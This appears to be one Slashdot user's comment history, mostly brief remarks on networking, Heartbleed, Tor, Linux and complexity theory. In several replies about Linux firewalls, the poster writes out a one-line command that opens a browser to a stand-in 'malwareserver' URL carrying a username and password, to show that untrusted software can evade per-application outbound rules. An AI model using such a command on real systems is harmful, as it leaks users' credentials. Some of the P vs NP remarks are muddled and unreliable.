  1. Isn't this what multicast is made for? on Netflix Pondering Peer-to-Peer Technology For Streaming Video · · Score: 1

    Fuck P2P, you still have a one to one load in the network. use multicast.

  2. What about linking to the actual site? on Facebook Data Miner Will Shock You · · Score: 1

    not some blog, which links itself all interesting links to itself?

  3. Re:wow on Band Releases Album As Linux Kernel Module · · Score: 1

    Patent 6x9

  4. Re:That's wierd... on WhatsApp Is Well On Its Way To A Billion Users · · Score: 1

    I guess facebook is calculating the numbers in a different way. When there is a faint trace of a user (i.e. an uploaded addressbook entry, which could be conntected to a user ASAP he installs WA), its a user. Other companies are more conservative and call only people actually (still) using their app users.

  5. /8 is quite a bit on ARIN Is Down To the Last /8 of IPv4 Addresses · · Score: 1

    remember, there were only 256 /8 nets. So a /8 is a lot of adresspace.

  6. Killing Americans on Administration Ordered To Divulge Legal Basis For Killing Americans With Drones · · Score: 1

    Isn't it a bit racist to make a difference between killing americans and other people?

  7. Why? on Women Increasingly Freezing Their Eggs To Pursue Their Careers · · Score: 1

    Whats the point in reproducing, if you have no mother feelings?

  8. Full disclosure, nothing else on Heartbleed Sparks 'Responsible' Disclosure Debate · · Score: 1, Interesting

    Look, Google knew it. Google is part of prism. You are still wondering, if the NSA may have used Heartbleed?

  9. Re:Don't people encrypt over TOR anyway? on Tor Blacklisting Exit Nodes Vulnerable To Heartbleed · · Score: 1

    when the private key of your node is stolen, you cannot provide anonymity anymore. everyone will see, where the packet you are getting will be routed, because the client decides the nodes, not the network.

  10. Betteridges Law of Headlines on Is Germany Raising a Generation of Illiterates? · · Score: 1

    says: no

  11. Re:Gnome go home on The GNOME Foundation Is Running Out of Money · · Score: 1

    Did you spel check, jet?

  12. Use Mint AS IS on Ask Slashdot: How To Start With Linux In the Workplace? · · Score: 1

    Mint is quite similiar to classic windows, and much more similiar than Windows 8, even windows 7 has a new taskbar (by default).

  13. Re:Sex discrimination. on Google: Teach Girls Coding, Get $2,500; Teach Boys, Get $0 · · Score: 1

    you are a private person. If you have an startup for stripper tipping, then you cannot discriminate.

    Look at Eich and Mozilla. In private, he had the right to get political involved, but Mozilla does not want to get involved.

  14. Re:New? on Do Free-To-Play Games Get a Fair Shake? · · Score: 1

    But you pay one time for the full game, maybe one time per levelpack. Now you for each time, you play the level. And in 10 years you won't be able to get your old android tablet and show someone the old game, because it cannot contact its license-server and will only run the minimum features, if it starts at all.

  15. what they do not tell you on Nanodot-Based Smartphone Battery Recharges In 30 Seconds · · Score: 1

    it discharges in 30 seconds, too.

  16. Re:Are all NP-hard Problems equivalent? on P vs. NP Problem Linked To the Quantum Nature of the Universe · · Score: 1

    thank you for the literature hint.

  17. Bug reporting will be much easier on Linux Developers Consider On-Screen QR Codes For Kernel Panics · · Score: 1

    Do you want to mail them physical screenshots? With a qr code, you can mail text.

  18. Re:Wrong paradigm here on Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User? · · Score: 1

    cgroups may help.

  19. Re:Wrong paradigm here on Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User? · · Score: 1

    argh, stop messing my posts ...

    firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar"& sleep 2 && kill %1

  20. Re:Wrong paradigm here on Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User? · · Score: 1

    of course the cmdline needs to be:
    'firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar&;sleep" '

    stupid slashdot

  21. Re:Wrong paradigm here on Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User? · · Score: 1

    Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
    So, how does the "~/bin/untrusted-download" firewall rule protect you now?

    There is one simple rule for untrusted software: Do not run it.
    Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

  22. Re:Typical corporation bullshit on British Domain Registrar Offers 'No Transfer Fees,' Charges Transfer Fee · · Score: 1

    And in the USA you cannot? I would have thought, you will always be asked: terminate the contract or accept the new TOS.

  23. Re:And how do you start it? on New US Atomic Clock Goes Live · · Score: 1

    But isn't averaging even more unstable than syncing with one clock? And in any case, this one will be more precise than the average and every single other one.

  24. Re:Are all NP-hard Problems equivalent? on P vs. NP Problem Linked To the Quantum Nature of the Universe · · Score: 1

    AFAIK the definition is, they are not in P and they can be solved by a non-deterministic TM. Usual proofs are by transitivity, but i do not know an argument against two disjunct trees of problems. maybe there are problems, which cannot be reduced to the known ones, but are np-hard anyway?

  25. Re:!P is not NP and NP-Hard is not NP-Complete on P vs. NP Problem Linked To the Quantum Nature of the Universe · · Score: 1

    you do not know, if a NDTM exists, because if P=NP you can have one.
